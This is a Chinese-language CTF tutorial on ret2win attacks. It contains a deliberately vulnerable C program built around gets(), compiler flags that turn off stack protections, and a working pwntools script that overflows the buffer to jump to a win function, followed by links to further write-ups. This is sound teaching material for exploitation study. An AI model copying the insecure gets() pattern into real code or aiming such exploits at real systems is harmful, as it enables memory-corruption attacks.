Ret2win

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基本信息

Ret2win挑战是夺旗（CTF）比赛中的一个热门类别，特别是在涉及二进制利用的任务中。目标是利用给定二进制文件中的漏洞，执行特定的未调用函数，通常命名为win、flag等。当执行时，该函数通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的返回地址，以将执行流重定向到所需的函数。以下是更详细的解释和示例：

C示例

考虑一个简单的C程序，其中存在漏洞和一个我们打算调用的win函数：

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

要编译此程序而不启用堆栈保护并禁用ASLR，您可以使用以下命令：

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -m32: 将程序编译为32位二进制文件（这是可选的，但在CTF挑战中很常见）。

• -fno-stack-protector: 禁用对栈溢出的保护。

• -z execstack: 允许在栈上执行代码。

• -no-pie: 禁用位置无关可执行文件，以确保win函数的地址不会改变。

• -o vulnerable: 将输出文件命名为vulnerable。

使用Pwntools的Python攻击脚本

对于攻击，我们将使用pwntools，这是一个强大的CTF框架，用于编写攻击。攻击脚本将创建一个有效负载来溢出缓冲区，并用win函数的地址覆盖返回地址。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

要找到win函数的地址，您可以使用gdb，objdump或任何其他允许您检查二进制文件的工具。例如，使用objdump，您可以使用：

objdump -d vulnerable | grep win

这个命令将显示win函数的汇编代码，包括其起始地址。

Python脚本发送精心构造的消息，当被vulnerable_function处理时，会溢出缓冲区并用win的地址覆盖栈上的返回地址。当vulnerable_function返回时，不会返回到main或退出，而是跳转到win，并打印消息。

保护措施

• PIE 应该被禁用，以便地址在不同执行中可靠，否则函数存储的地址不会始终相同，您需要一些泄漏来找出win函数加载的位置。在某些情况下，当导致溢出的函数是read或类似函数时，您可以进行部分覆盖，覆盖1或2个字节以将返回地址更改为win函数。由于ASLR的工作原理，最后三个十六进制数字不是随机的，因此有1/16的机会（1个十六进制数字）获得正确的返回地址。

• 栈保护 也应该被禁用，否则受损的EIP返回地址将永远不会被跟随。

其他示例和参考资料

• https://ir0nstone.gitbook.io/notes/types/stack/ret2win

• https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html

• 32位，无ASLR

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html

• 64位，带ASLR，带二进制地址泄漏

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html

• 64位，无ASLR

• https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html

• 32位，无ASLR，双小溢出，首先溢出栈并增加第二次溢出的大小

• https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html

• 32位，relro，无canary，nx，无pie，格式化字符串以覆盖fflush地址为win函数（ret2win）

• https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html

• 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数

• https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html

• 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• 程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建一个利用ret2win的缓冲区溢出。

• https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/

• 64位，relro，无canary，nx，pie。部分覆盖以调用win函数（ret2win）

• https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/

• arm64，PIE，提供PIE泄漏，win函数实际上是2个函数，因此ROP gadget调用2个函数

• https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/

• ARM64，通过一次溢出调用win函数

ARM64示例

Ret2win - arm64

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